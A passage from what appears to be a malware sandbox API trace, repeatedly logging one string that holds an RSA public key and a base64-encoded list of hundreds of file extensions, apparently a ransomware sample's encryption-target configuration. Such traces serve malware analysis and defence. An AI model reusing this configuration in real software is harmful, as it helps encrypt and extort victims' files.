yMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssI